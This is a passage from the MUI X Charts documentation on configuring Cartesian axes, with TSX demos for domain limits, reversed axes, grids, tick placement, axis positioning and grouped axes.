  const handleChange = (
    event: Event,
    newValue: number | number[],
    activeThumb: number,
  ) => {
    if (!Array.isArray(newValue)) {
      return;
    }

    if (newValue[1] - newValue[0] < minDistance) {
      if (activeThumb === 0) {
        const clamped = Math.min(newValue[0], 100 - minDistance);
        setValue([clamped, clamped + minDistance]);
      } else {
        const clamped = Math.max(newValue[1], minDistance);
        setValue([clamped - minDistance, clamped]);
      }
    } else {
      setValue(newValue as number[]);
    }
  };

  return (
    <Box sx={{ width: '100%', maxWidth: 500 }}>
      <ScatterChart
        xAxis={[
          {
            label: 'x',
            min: value[0],
            max: value[1],
          },
        ]}
        series={[{ data }]}
        height={300}
      />
      <Slider
        value={value}
        onChange={handleChange}
        valueLabelDisplay="auto"
        min={-40}
        max={40}
      />
    </Box>
  );
}

```

### Relative axis subdomain

You can adjust the axis range relative to its data by using the `domainLimit` option.
This expects one of three possible values:

- `"nice"` (default): Rounds the domain to human-friendly values
- `"strict"`: Sets the domain to the min/max value to display
- `(minValue, maxValue) => { min, max }`: Receives the calculated extrema as parameters, and should return the axis domain

The demo below illustrates these differences in behavior, showing data ranging from -15 to 92 with different domain limits:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { BarChart } from '@mui/x-charts/BarChart';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';

const settings = {
  height: 220,
  series: [{ data: [60, -15, 66, 68, 87, 82, 83, 85, 92, 75, 76, 50, 91] }],
  margin: { top: 20, bottom: 10 },
} as const;

// Extend a value to match a multiple of the step.
function extend(value: number, step: number) {
  if (value > 0) {
    // If >0 go to the next step
    return step * Math.ceil(value / step);
  }
  // If <0 go to the previous step
  return step * Math.floor(value / step);
}

export default function CustomDomainYAxis() {
  const [domainLimit, setDomainLimit] = React.useState<
    'nice' | 'strict' | 'function'
  >('nice');

  return (
    <Box sx={{ width: '100%' }}>
      <TextField
        select
        value={domainLimit}
        onChange={(event) =>
          setDomainLimit(event.target.value as 'nice' | 'strict' | 'function')
        }
        label="domain limit"
        sx={{ minWidth: 150, mb: 2 }}
      >
        <MenuItem value="nice">nice</MenuItem>
        <MenuItem value="strict">strict</MenuItem>
        <MenuItem value="function">function</MenuItem>
      </TextField>
      <BarChart
        yAxis={[
          {
            domainLimit:
              domainLimit === 'function'
                ? (min, max) => ({
                    min: extend(min, 10),
                    max: extend(max, 10),
                  })
                : domainLimit,
          },
        ]}
        {...settings}
      />
    </Box>
  );
}

```

## Axis direction

By default, the axes run from left to right and from bottom to top.
You can apply the `reverse` property to change this:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';

import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { LinePlot, MarkPlot } from '@mui/x-charts/LineChart';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsGrid } from '@mui/x-charts/ChartsGrid';
import { ChartsTooltip } from '@mui/x-charts/ChartsTooltip';

const dataset = [
  { min: -12, max: -4, precip: 79, month: 'Jan' },
  { min: -11, max: -3, precip: 66, month: 'Feb' },
  { min: -6, max: 2, precip: 76, month: 'Mar' },
  { min: 1, max: 9, precip: 106, month: 'Apr' },
  { min: 8, max: 17, precip: 105, month: 'Mai' },
  { min: 15, max: 24, precip: 114, month: 'Jun' },
  { min: 18, max: 26, precip: 106, month: 'Jul' },
  { min: 17, max: 26, precip: 105, month: 'Aug' },
  { min: 13, max: 21, precip: 100, month: 'Sept' },
  { min: 6, max: 13, precip: 116, month: 'Oct' },
  { min: 0, max: 6, precip: 93, month: 'Nov' },
  { min: -8, max: -1, precip: 93, month: 'Dec' },
];

const series = [
  { type: 'line', dataKey: 'min', color: '#577399' },
  { type: 'line', dataKey: 'max', color: '#fe5f55' },
  { type: 'bar', dataKey: 'precip', color: '#bfdbf7', yAxisId: 'rightAxis' },
] as const;

export default function ReverseExample() {
  const [reverseX, setReverseX] = React.useState(false);
  const [reverseLeft, setReverseLeft] = React.useState(false);
  const [reverseRight, setReverseRight] = React.useState(false);

  return (
    <Stack sx={{ width: '100%' }}>
      <Stack direction="row">
        <FormControlLabel
          checked={reverseX}
          control={
            <Checkbox onChange={(event) => setReverseX(event.target.checked)} />
          }
          label="reverse x-axis"
          labelPlacement="end"
        />
        <FormControlLabel
          checked={reverseLeft}
          control={
            <Checkbox onChange={(event) => setReverseLeft(event.target.checked)} />
          }
          label="reverse left axis"
          labelPlacement="end"
        />
        <FormControlLabel
          checked={reverseRight}
          control={
            <Checkbox onChange={(event) => setReverseRight(event.target.checked)} />
          }
          label="reverse right axis"
          labelPlacement="end"
        />
      </Stack>
      <Box sx={{ width: '100%' }}>
        <ChartContainer
          series={series}
          xAxis={[
            {
              scaleType: 'band',
              dataKey: 'month',
              label: 'Month',
              reverse: reverseX,
            },
          ]}
          yAxis={[
            { id: 'leftAxis', reverse: reverseLeft, width: 50 },
            { id: 'rightAxis', reverse: reverseRight, position: 'right', width: 50 },
          ]}
          dataset={dataset}
          height={400}
        >
          <ChartsGrid horizontal />
          <BarPlot />
          <LinePlot />
          <MarkPlot />

          <ChartsXAxis />
          <ChartsYAxis axisId="leftAxis" label="temperature (°C)" />
          <ChartsYAxis axisId="rightAxis" label="precipitation (mm)" />
          <ChartsTooltip />
        </ChartContainer>
      </Box>
    </Stack>
  );
}

```

## Grid

You can add a grid in the background of a Cartesian chart with the `grid` prop.
This prop accepts an object with `vertical` and `horizontal` properties that are responsible for creating their respective lines when set to `true`.

If you use composition you can pass these as props to the `<ChartsGrid />` component:

```jsx
<BarChart grid={{ vertical: true }}>

<ChartContainer>
  <ChartsGrid vertical />
</ChartContainer>
```

```tsx
import { chartsGridClasses } from '@mui/x-charts/ChartsGrid';
import { BarChart } from '@mui/x-charts/BarChart';
import { dataset, valueFormatter } from '../dataset/weather';

const chartSetting = {
  yAxis: [{ label: 'rainfall (mm)', width: 60 }],
  height: 300,
};

export default function GridDemo() {
  return (
    <BarChart
      dataset={dataset}
      xAxis={[{ dataKey: 'month' }]}
      series={[{ dataKey: 'seoul', label: 'Seoul rainfall', valueFormatter }]}
      grid={{ horizontal: true }}
      sx={{
        [`& .${chartsGridClasses.line}`]: { strokeDasharray: '5 3', strokeWidth: 2 },
      }}
      {...chartSetting}
    />
  );
}

```

## Tick position

### Automatic tick position

Use the `tickNumber` property to customize the number of ticks.

:::info
This number does _not_ necessarily represent the exact number of ticks displayed.
This is because D3 automatically places ticks to optimize for human readability, and it rounds up or down from the provided `tickNumber` as needed to accomplish this.

For example, if you set `tickNumber=5` but there are only four years to display on the axis, the component renders four total ticks (one for each year) instead of trying to divide four years into five.
:::

To better control how the ticks render, you can also provide `tickMinStep` and `tickMaxStep`, which compute `tickNumber` so that the step between two ticks respects the minimum and maximum values.

In the demo below, the top axis has a `tickMinStep` of half a day, and the bottom axis has a `tickMinStep` of a full day.

```tsx
import Box from '@mui/material/Box';
import { LineChart } from '@mui/x-charts/LineChart';

const timeData = [
  new Date(2023, 7, 31),
  new Date(2023, 7, 31, 12),
  new Date(2023, 8, 1),
  new Date(2023, 8, 1, 12),
  new Date(2023, 8, 2),
  new Date(2023, 8, 2, 12),
  new Date(2023, 8, 3),
  new Date(2023, 8, 3, 12),
  new Date(2023, 8, 4),
];

const y1 = [5, 5, 10, 90, 85, 70, 30, 25, 25];
const y2 = [90, 85, 70, 25, 23, 40, 45, 40, 50];

const valueFormatter = (date: Date) =>
  date.getHours() === 0
    ? date.toLocaleDateString('fr-FR', {
        month: '2-digit',
        day: '2-digit',
      })
    : date.toLocaleTimeString('fr-FR', {
        hour: '2-digit',
      });

const config = {
  series: [{ data: y1 }, { data: y2 }],
  height: 300,
};
const xAxisCommon = {
  data: timeData,
  scaleType: 'time',
  valueFormatter,
} as const;
export default function TickNumber() {
  return (
    <Box sx={{ width: '100%', maxWidth: 800 }}>
      <LineChart
        xAxis={[
          {
            ...xAxisCommon,
            tickMinStep: 3600 * 1000 * 24, // min step: 24h
          },
          {
            ...xAxisCommon,
            id: 'half days',
            position: 'top',
            tickMinStep: 3600 * 1000 * 12, // min step: 12hu
          },
        ]}
        yAxis={[{ position: 'none' }]}
        {...config}
      />
    </Box>
  );
}

```

### Tick spacing

Use the `tickSpacing` property to define the minimum spacing in pixels between two ticks.

Having a minimum space between ticks improves the readability of the axis and can also improve the chart's performance.

This property defaults to 0 and is only available for ordinal axes, that is, axes with a band or point scale.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Slider from '@mui/material/Slider';
import Typography from '@mui/material/Typography';
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';
import data from '../dataset/sp500-intraday.json';

const tickLabelDateFormatter = new Intl.DateTimeFormat(undefined, {
  month: 'short',
  day: 'numeric',
});

export default function TickSpacing() {
  const [tickSpacing, setTickSpacing] = React.useState(50);

  return (
    <Stack direction="column" gap={4} width="100%">
      <Stack
        direction="column"
        spacing={1}
        flex={1}
        width="100%"
        maxWidth={400}
        alignSelf="center"
      >
        <Typography gutterBottom id="tickSpacing">
          Tick Spacing
        </Typography>
        <Slider
          value={tickSpacing}
          onChange={(event, value) => setTickSpacing(value as number)}
          valueLabelDisplay="auto"
          min={0}
          max={100}
          step={5}
          sx={{ mt: 2 }}
          aria-labelledby="tickSpacing"
        />
      </Stack>
      <BarChartPro
        xAxis={[
          {
            data: data.map((d) => new Date(Date.parse(d.date))),
            valueFormatter: (v: Date) => tickLabelDateFormatter.format(v),
            tickSpacing,
            tickPlacement: 'middle',
            zoom: true,
          },
        ]}
        series={[{ data: data.map((d) => d.close), label: 'Close' }]}
        height={300}
      />
    </Stack>
  );
}

```

### Fixed tick position

If you want more control over the tick position, you can use the `tickInterval` property.
This property accepts an array of values that define exactly where ticks are placed.

For axes with the `'point'` scale type, the `tickInterval` property can be a filtering function of the type `(value, index) => boolean`.

In the demo below, both axes are set to `scaleType='point'`.
The top axis demonstrates the default behavior with a tick for each point.
The bottom axis uses a filtering function to only display a tick at the beginning of a day.

```tsx
import Box from '@mui/material/Box';
import { ShowMarkParams } from '@mui/x-charts/models';
import { LineChart } from '@mui/x-charts/LineChart';

export default function TickPosition() {
  return (
    <Box sx={{ width: '100%', maxWidth: 800 }}>
      <LineChart
        xAxis={[
          {
            ...xAxisCommon,
            scaleType: 'point',
            tickInterval: (time) => time.getHours() === 0,
            position: 'bottom',
          },
          {
            ...xAxisCommon,
            scaleType: 'point',
            position: 'top',
          },
        ]}
        {...config}
      />
    </Box>
  );
}

const valueFormatter = (date: Date) =>
  date.toLocaleDateString('fr-FR', {
    month: '2-digit',
    day: '2-digit',
  });

const timeData = [
  new Date(2023, 7, 31),
  new Date(2023, 7, 31, 3),
  new Date(2023, 7, 31, 6),
  new Date(2023, 7, 31, 9),
  new Date(2023, 7, 31, 12),
  new Date(2023, 7, 31, 15),
  new Date(2023, 7, 31, 18),
  new Date(2023, 8, 1),
  new Date(2023, 8, 1, 3),
  new Date(2023, 8, 1, 6),
  new Date(2023, 8, 1, 9),
  new Date(2023, 8, 1, 12),
  new Date(2023, 8, 1, 15),
  new Date(2023, 8, 1, 18),
  new Date(2023, 8, 2),
  new Date(2023, 8, 2, 3),
  new Date(2023, 8, 2, 6),
  new Date(2023, 8, 2, 9),
  new Date(2023, 8, 2, 12),
  new Date(2023, 8, 2, 15),
  new Date(2023, 8, 2, 18),
  new Date(2023, 8, 3),
  new Date(2023, 8, 3, 3),
  new Date(2023, 8, 3, 6),
  new Date(2023, 8, 3, 9),
  new Date(2023, 8, 3, 12),
  new Date(2023, 8, 3, 15),
  new Date(2023, 8, 3, 18),
  new Date(2023, 8, 4),
];

const y1 = [
  5, 5.5, 5.3, 4.9, 5, 6.2, 8.9, 10, 15, 30, 80, 90, 94, 93, 85, 86, 75, 70, 68, 50,
  20, 30, 35, 28, 25, 27, 30, 28, 25,
];
const y2 = [
  90, 93, 89, 84, 85, 83, 73, 70, 63, 32, 30, 25, 18, 19, 23, 30, 32, 36, 40, 40, 42,
  45, 46, 42, 39, 40, 41, 43, 50,
];

const showMark = (params: ShowMarkParams) => {
  const { position } = params as ShowMarkParams<Date>;
  return position.getHours() === 0;
};

const config = {
  series: [
    { data: y1, showMark },
    { data: y2, showMark },
  ],
  height: 300,
  yAxis: [{ position: 'none' as const }],
};
const xAxisCommon = {
  data: timeData,
  scaleType: 'time',
  valueFormatter,
} as const;

```

### Filtering tick labels

You can use the `tickLabelInterval` property to only display labels on a specific subset of ticks.
This is a filtering function in the `(value, index) => boolean` form.
For example, `tickLabelInterval: (value, index) => index % 2 === 0` will show the label every two ticks.

:::warning
The `value` and `index` arguments are those of the ticks, not the axis data.
:::

By default, ticks are filtered so that their labels don't overlap.
You can override this behavior with `tickLabelInterval: () => true` which forces the tick label to be shown for each tick.

In the example below, the top axis is a reference for the default behavior: tick labels don't overflow.
At the bottom, you can see one tick for the beginning and the middle of the day, but the tick label is only displayed for the beginning of the day.

```tsx
import Box from '@mui/material/Box';
import { ShowMarkParams } from '@mui/x-charts/models';
import { LineChart } from '@mui/x-charts/LineChart';

export default function TickLabelPosition() {
  return (
    <Box sx={{ width: '100%', maxWidth: 800 }}>
      <LineChart
        xAxis={[
          {
            ...xAxisCommon,
            id: 'bottomAxis',
            scaleType: 'point',
            tickInterval: (time) => [0, 12].includes(time.getHours()),
            tickLabelInterval: (time) => time.getHours() === 0,
            position: 'bottom',
          },
          {
            ...xAxisCommon,
            id: 'topAxis',
            scaleType: 'point',
            position: 'top',
          },
        ]}
        yAxis={[{ position: 'none' }]}
        {...config}
      />
    </Box>
  );
}

const valueFormatter = (date: Date) =>
  date.toLocaleDateString('fr-FR', {
    month: '2-digit',
    day: '2-digit',
  });

const timeData = [
  new Date(2023, 7, 31),
  new Date(2023, 7, 31, 3),
  new Date(2023, 7, 31, 6),
  new Date(2023, 7, 31, 9),
  new Date(2023, 7, 31, 12),
  new Date(2023, 7, 31, 15),
  new Date(2023, 7, 31, 18),
  new Date(2023, 8, 1),
  new Date(2023, 8, 1, 3),
  new Date(2023, 8, 1, 6),
  new Date(2023, 8, 1, 9),
  new Date(2023, 8, 1, 12),
  new Date(2023, 8, 1, 15),
  new Date(2023, 8, 1, 18),
  new Date(2023, 8, 2),
  new Date(2023, 8, 2, 3),
  new Date(2023, 8, 2, 6),
  new Date(2023, 8, 2, 9),
  new Date(2023, 8, 2, 12),
  new Date(2023, 8, 2, 15),
  new Date(2023, 8, 2, 18),
  new Date(2023, 8, 3),
  new Date(2023, 8, 3, 3),
  new Date(2023, 8, 3, 6),
  new Date(2023, 8, 3, 9),
  new Date(2023, 8, 3, 12),
  new Date(2023, 8, 3, 15),
  new Date(2023, 8, 3, 18),
  new Date(2023, 8, 4),
];

const y1 = [
  5, 5.5, 5.3, 4.9, 5, 6.2, 8.9, 10, 15, 30, 80, 90, 94, 93, 85, 86, 75, 70, 68, 50,
  20, 30, 35, 28, 25, 27, 30, 28, 25,
];
const y2 = [
  90, 93, 89, 84, 85, 83, 73, 70, 63, 32, 30, 25, 18, 19, 23, 30, 32, 36, 40, 40, 42,
  45, 46, 42, 39, 40, 41, 43, 50,
];

const showMark = (params: ShowMarkParams) => {
  const { position } = params as ShowMarkParams<Date>;
  return position.getHours() === 0;
};

const config = {
  series: [
    { data: y1, showMark },
    { data: y2, showMark },
  ],
  height: 300,
};
const xAxisCommon = {
  data: timeData,
  scaleType: 'time',
  valueFormatter,
} as const;

```

### Ordinal tick management

Ordinal scales (`'band'` and `'point'`) display one tick per item by default.
If you have a date axis, you can use the `ordinalTimeTicks` property to configure which ticks to show.

It takes an array of frequencies at which ticks can be placed.
Those frequencies must be sorted from the largest to the smallest.
For example `['years', 'months', 'days']`.
Visible ticks are selected according to those frequencies and the `tickNumber`.

The `ordinalTimeTicks` property can either be an implementation of the `TickFrequencyDefinition` type or a subset of the built-in frequencies: `'years'`, `'quarterly'`, `'months'`, `'biweekly'`, `'weeks'`, `'days'`, `'hours'`.

When using `ordinalTimeTicks` the property `tickPlacement` is ignored, and computation are done as if set to `'middle'`.

In the following demo, you can modify the `ordinalTimeTicks` based on built-in frequencies and see how it impacts zoom behavior.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';
import { BarSeriesType, XAxis, YAxis, ZoomOptions } from '@mui/x-charts-pro/models';
import { TickFrequency } from '@mui/x-charts/models';
import alphabetStock from '../dataset/GOOGL.json';
import SelectTimeFrequency from './SelectTimeFrequency';

const tickFrequencies: TickFrequency[] = [
  'years',
  'quarterly',
  'months',
  'biweekly',
  'weeks',
  'days',
];

export default function OrdinalTickPlacement() {
  const [ordinalTimeTicks, setOrdinalTimeTicks] =
    React.useState<FilteredTicksState>(defaultTicks);
  const [tickNumber, setTickNumber] = React.useState(5);

  return (
    <Box sx={{ width: '100%' }}>
      <SelectTimeFrequency
        tickFrequencies={tickFrequencies}
        ordinalTimeTicks={ordinalTimeTicks}
        setOrdinalTimeTicks={setOrdinalTimeTicks}
        tickNumber={tickNumber}
        setTickNumber={setTickNumber}
      />

      <BarChartPro
        {...barSettings}
        xAxis={[
          {
            ...xAxis,
            tickNumber,
            ordinalTimeTicks: tickFrequencies.filter(
              (frequency) =>
                ordinalTimeTicks[frequency as keyof typeof ordinalTimeTicks],
            ),
          },
        ]}
      />
    </Box>
  );
}

type FilteredTicksState = Record<TickFrequency, boolean>;
const defaultTicks = Object.fromEntries(
  tickFrequencies.map((frequency) => [frequency, true]),
) as FilteredTicksState;

const zoom: ZoomOptions = { minSpan: 1, filterMode: 'discard' };

const xAxis: XAxis = {
  id: 'date',
  data: alphabetStock.map((day) => new Date(day.date)),
  scaleType: 'band',
  zoom,
  valueFormatter: (value) => value.toLocaleDateString(),
  height: 30,
};

const barSettings = {
  height: 200,
  hideLegend: true,
  margin: { bottom: 5 },
  series: [
    {
      type: 'bar',
      yAxisId: 'volume',
      label: 'Volume',
      color: 'lightgray',
      data: alphabetStock.map((day) => day.volume),
    } as BarSeriesType,
  ],
  yAxis: [
    {
      id: 'volume',
      scaleType: 'linear',
      position: 'left',
      valueFormatter: (value) => `${(value / 1000000).toLocaleString()}M`,
      width: 55,
    } as YAxis,
  ],
};

```

The `TickFrequencyDefinition` is an object made of following properties:

- `getTickNumber: (from: Date, to: Date) => number` Returns the number of ticks that will be displayed between `from` and `to` dates.
- `isTick: (prev: Date, value: Date) => boolean` Returns `true` is a tick should be placed on `value`. For example if it's the beginning of a new month.
- `format: (d: Date) => string` Returns for tick label.

The built-in frequency definitions are exported as `tickFrequencies` from `'@mui/x-charts/utils'`.

In the following demo, we use the `tickFrequencies` to display quarters and weeks with different labels.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';
import { BarSeriesType, XAxis, YAxis, ZoomOptions } from '@mui/x-charts-pro/models';
import { tickFrequencies } from '@mui/x-charts/utils';
import alphabetStock from '../dataset/GOOGL.json';

export default function CustomTickFrequency() {
  return (
    <Box sx={{ width: '100%' }}>
      <BarChartPro
        {...barSettings}
        xAxis={[
          {
            ...xAxis,
            ordinalTimeTicks: [
              'years',
              { ...tickFrequencies.quarterly, format: quarterFormat },
              { ...tickFrequencies.weeks, format: weekFormat },
            ],
          },
        ]}
      />
    </Box>
  );
}

const quarterFormat = (d: Date) => `Q${Math.floor(d.getMonth() / 3) + 1}`;
const weekFormat = (d: Date) => `W${getWeekNumber(d)}`;

const zoom: ZoomOptions = { minSpan: 1, filterMode: 'discard' };

const xAxis: XAxis = {
  id: 'date',
  data: alphabetStock.map((day) => new Date(day.date)),
  scaleType: 'band',
  zoom,
  valueFormatter: (value) => value.toLocaleDateString(),
  height: 30,
  tickNumber: 15,
};

const barSettings = {
  height: 200,
  hideLegend: true,
  margin: { bottom: 5 },
  series: [
    {
      type: 'bar',
      yAxisId: 'volume',
      label: 'Volume',
      color: 'lightgray',
      data: alphabetStock.map((day) => day.volume),
    } as BarSeriesType,
  ],
  yAxis: [
    {
      id: 'volume',
      scaleType: 'linear',
      position: 'left',
      valueFormatter: (value) => `${(value / 1000000).toLocaleString()}M`,
      width: 55,
    } as YAxis,
  ],
  grid: { vertical: true, horizontal: true },
};

function getWeekNumber(date: Date) {
  const d = new Date(Date.UTC(date.getFullYear(), date.getMonth(), date.getDate()));
  const dayNum = d.getUTCDay() || 7;
  d.setUTCDate(d.getUTCDate() + 4 - dayNum);
  const yearStart = new Date(Date.UTC(d.getUTCFullYear(), 0, 1));
  return Math.ceil(((d.getTime() - yearStart.getTime()) / 86400000 + 1) / 7);
}

```

## Position

You can customize axis positioning with the `position` property of the axis configuration.
This property expects the following values:

- `'top'` or `'bottom'` for the x-axis
- `'left'` or `'right'` for the y-axis
- `'none'` to hide the axis

```tsx
import Box from '@mui/material/Box';
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import { Chance } from 'chance';

const chance = new Chance(42);

const data = Array.from({ length: 200 }, () => ({
  x: chance.floating({ min: -25, max: 25 }),
  y: chance.floating({ min: -25, max: 25 }),
})).map((d, index) => ({ ...d, id: index }));

const params = {
  series: [{ data }],
  height: 300,
  margin: { top: 12, right: 12, bottom: 20, left: 12 },
};
export default function ModifyAxisPosition() {
  return (
    <Box sx={{ width: '100%', maxWidth: 500 }}>
      <ScatterChart
        {...params}
        xAxis={[{ position: 'top' }]}
        yAxis={[{ position: 'right' }]}
      />
    </Box>
  );
}

```

### Hiding axes

To hide an axis, set its `position` to `'none'`.
Note that the axis is still computed and used for scaling.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

export default function HidingAxis() {
  return (
    <BarChart
      series={[{ data: [1, 2, 3, 2, 1] }]}
      xAxis={[{ data: ['A', 'B', 'C', 'D', 'E'] }]}
      yAxis={[{ position: 'none' }]}
      height={300}
      width={300}
    />
  );
}

```

### Multiple axes on one side

You can display multiple axes on one side.
If two or more axes share the same `position`, they're displayed in the order they're defined from closest to farthest away from the chart.

```tsx
import Box from '@mui/material/Box';
import { LineChart } from '@mui/x-charts/LineChart';

const sample = [1, 10, 30, 50, 70, 90, 100];

export default function MultipleAxes() {
  return (
    <Box sx={{ width: '100%', maxWidth: 500 }}>
      <LineChart
        xAxis={[{ data: sample }]}
        yAxis={[
          { id: 'linearAxis', scaleType: 'linear', position: 'left', width: 40 },
          { id: 'logAxis', scaleType: 'log', position: 'left' },
        ]}
        series={[
          { yAxisId: 'linearAxis', data: sample, label: 'linear' },
          { yAxisId: 'logAxis', data: sample, label: 'log' },
        ]}
        height={400}
      />
    </Box>
  );
}

```

## Grouped axes

To group `band` or `point` axes together, provide a `groups` property in the axis definition.
This property expects an array of objects with a `getValue` function.
This feature is available for both x- and y-axes.

The `getValue` function receives the axis data value and should return a group name.
Each group name is used as-is, overriding any `valueFormatter` for the axis.
Groups are displayed in the order they're defined in the `groups` array.

### X-axis grouping

In the demo below, the x-axis is grouped by month, quarter, and year.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

export default function GroupedAxes() {
  return (
    <BarChart
      xAxis={[
        {
          data,
          scaleType: 'band',
          tickSize: 8,
          height: 36,
          groups: [
            { getValue: getMonth },
            { getValue: getQuarter },
            { getValue: getYear },
          ],
          valueFormatter,
        },
      ]}
      {...chartConfig}
    />
  );
}

const getMonth = (date: Date) =>
  date.toLocaleDateString('en-US', { month: 'short' });
const getQuarter = (date: Date) => `Q${Math.floor(date.getMonth() / 3) + 1}`;

const getYear = (date: Date) =>
  date.toLocaleDateString('en-US', { year: 'numeric' });

const valueFormatter = (v: Date) =>
  v.toLocaleDateString('en-US', {
    month: 'short',
    year: 'numeric',
  });

const data = [
  new Date(2014, 11, 1),
  new Date(2015, 0, 1),
  new Date(2015, 1, 1),
  new Date(2015, 2, 1),
  new Date(2015, 3, 1),
  new Date(2015, 4, 1),
  new Date(2015, 5, 1),
  new Date(2015, 6, 1),
  new Date(2015, 7, 1),
  new Date(2015, 8, 1),
  new Date(2015, 9, 1),
  new Date(2015, 10, 1),
  new Date(2015, 11, 1),
  new Date(2016, 0, 1),
];
const a = [
  3190, 4000, 3000, 2000, 2780, 1890, 2390, 3490, 2400, 1398, 9800, 3908, 4800, 2040,
];
const b = [
  1200, 2400, 1398, 9800, 3908, 4800, 3800, 4300, 2181, 2500, 2100, 3000, 2000, 2040,
];

const getPercents = (array: number[]) =>
  array.map((v, index) => (100 * v) / (a[index] + b[index]));

const chartConfig = {
  height: 200,
  margin: { left: 0 },
  series: [
    {
      data: getPercents(a),
      label: 'Income',
      valueFormatter: (value: number | null) => `${(value ?? 0).toFixed(0)}%`,
    },
    {
      data: getPercents(b),
      label: 'Expenses',
      valueFormatter: (value: number | null) => `${(value ?? 0).toFixed(0)}%`,
    },
  ],
  yAxis: [
    {
      valueFormatter: (value: number | null) => `${(value ?? 0).toFixed(0)}%`,
    },
  ],
} as const;

```

### Y-axis grouping

In the following demo, the y-axis is grouped by category and subcategory.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

export default function GroupedYAxes() {
  return (
    <BarChart
      layout="horizontal"
      yAxis={[
        {
          data: categoryData,
          scaleType: 'band',
          width: 120,
          groups: [
            // Extract main category
            { getValue: (category) => category[1] },
            // Extract subcategory
            {
              getValue: (category) => category[0],
              tickSize: 120,
              tickLabelStyle: {
                angle: -90,
                textAnchor: 'middle',
              },
            },
          ],
          valueFormatter: (value) => value.join(' - '),
        },
      ]}
      {...chartConfig}
    />
  );
}

const categoryData = [
  ['Technology', 'Software'],
  ['Technology', 'Hardware'],
  ['Technology', 'AI/ML'],
  ['Finance', 'Banking'],
  ['Finance', 'Insurance'],
  ['Finance', 'Investment'],
  ['Healthcare', 'Pharmaceuticals'],
  ['Healthcare', 'Medical Devices'],
  ['Healthcare', 'Telemedicine'],
];

const salesData = [150, 120, 200, 180, 90, 160, 140, 110, 85];
const profitData = [45, 35, 80, 65, 25, 55, 50, 40, 30];

const chartConfig = {
  height: 400,
  xAxis: [{ valueFormatter: (value: number) => `${value}K` }],
  series: [
    {
      data: salesData,
      label: 'Sales',
      valueFormatter: (value: number | null) => `${value}K`,
    },
    {
      data: profitData,
      label: 'Profit',
      valueFormatter: (value: number | null) => `${value}K`,
    },
  ],
};

```

### Tick size

You can customize the tick size for each group by providing a `tickSize` property in the `groups` array.
The `tickSize` also affects the tick label position.
Each item in the array corresponds to a group defined in the `getValue` function.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

export default function GroupedAxesTickSize() {
  return (
    <BarChart
      xAxis={[
        {
          data,
          height: 32,
          groups: [
            {
              getValue: getMonth,
              tickSize: 0,
            },
            {
              getValue: formatQuarterYear,
              tickSize: 32,
            },
          ],
          valueFormatter,
        },
      ]}
      {...chartConfig}
    />
  );
}

const getMonth = (date: Date) =>
  date.toLocaleDateString('en-US', { month: 'short' });

const formatQuarterYear = (date: Date) => {
  const quarter = Math.floor(date.getMonth() / 3) + 1;
  const year = date.getFullYear().toString().slice(-2);
  return `Q${quarter} '${year}`;
};

const valueFormatter = (v: Date) =>
  v.toLocaleDateString('en-US', {
    month: 'short',
    year: 'numeric',
  });

const data = [
  new Date(2015, 0, 1),
  new Date(2015, 1, 1),
  new Date(2015, 2, 1),
  new Date(2015, 3, 1),
  new Date(2015, 4, 1),
  new Date(2015, 5, 1),
  new Date(2015, 6, 1),
  new Date(2015, 7, 1),
  new Date(2015, 8, 1),
  new Date(2015, 9, 1),
  new Date(2015, 10, 1),
  new Date(2015, 11, 1),
];
const a = [4000, 3000, 2000, 2780, 1890, 2390, 3490, 2400, 1398, 9800, 3908, 4800];
const b = [2400, 1398, 9800, 3908, 4800, 3800, 4300, 2181, 2500, 2100, 3000, 2000];

const getPercents = (array: number[]) =>
  array.map((v, index) => (100 * v) / (a[index] + b[index]));

const chartConfig = {
  height: 200,
  margin: { left: 0 },
  series: [
    {
      data: getPercents(a),
      label: 'Income',
      valueFormatter: (value: number | null) => `${(value ?? 0).toFixed(0)}%`,
    },
    {
      data: getPercents(b),
      label: 'Expenses',
      valueFormatter: (value: number | null) => `${(value ?? 0).toFixed(0)}%`,
    },
  ],
  yAxis: [
    {
      valueFormatter: (value: number | null) => `${(value ?? 0).toFixed(0)}%`,
    },
  ],
} as const;

```

### Styling grouped axes

To target a specific group, use the `data-group-index` attribute as a selector.
The example below has a yellow tick color for the last group and blue text for the first group.

```tsx
import { LineChart } from '@mui/x-charts/LineChart';
import { axisClasses } from '@mui/x-charts/ChartsAxis';

export default function GroupedAxesStyling() {
  return (
    <LineChart
      sx={{
        [`& [data-group-index="1"] .${axisClasses.tick}`]: {
          stroke: 'rgb(255, 180, 34)',
        },
        [`& [data-group-index="0"] .${axisClasses.tickLabel}`]: {
          fill: 'rgb(66, 84, 251)',
        },
      }}
      xAxis={[
        {
          data,
          scaleType: 'point',
          groups: [{ getValue: getMonth }, { getValue: formatQuarterYear }],
          valueFormatter,
        },
      ]}
      {...chartConfig}
    />
  );
}
const getMonth = (date: Date) =>
  date.toLocaleDateString('en-US', { month: 'short' });
const formatQuarterYear = (date: Date) => {
  const quarter = Math.floor(date.getMonth() / 3) + 1;
  const year = date.getFullYear().toString().slice(-2);
  return `Q${quarter} '${year}`;
};

const valueFormatter = (v: Date) =>
  v.toLocaleDateString('en-US', {
    month: 'short',
    year: 'numeric',
  });

const data = [
  new Date(2015, 0, 1),
  new Date(2015, 1, 1),
  new Date(2015, 2, 1),
  new Date(2015, 3, 1),
  new Date(2015, 4, 1),
  new Date(2015, 5, 1),
  new Date(2015, 6, 1),
  new Date(2015, 7, 1),
  new Date(2015, 8, 1),
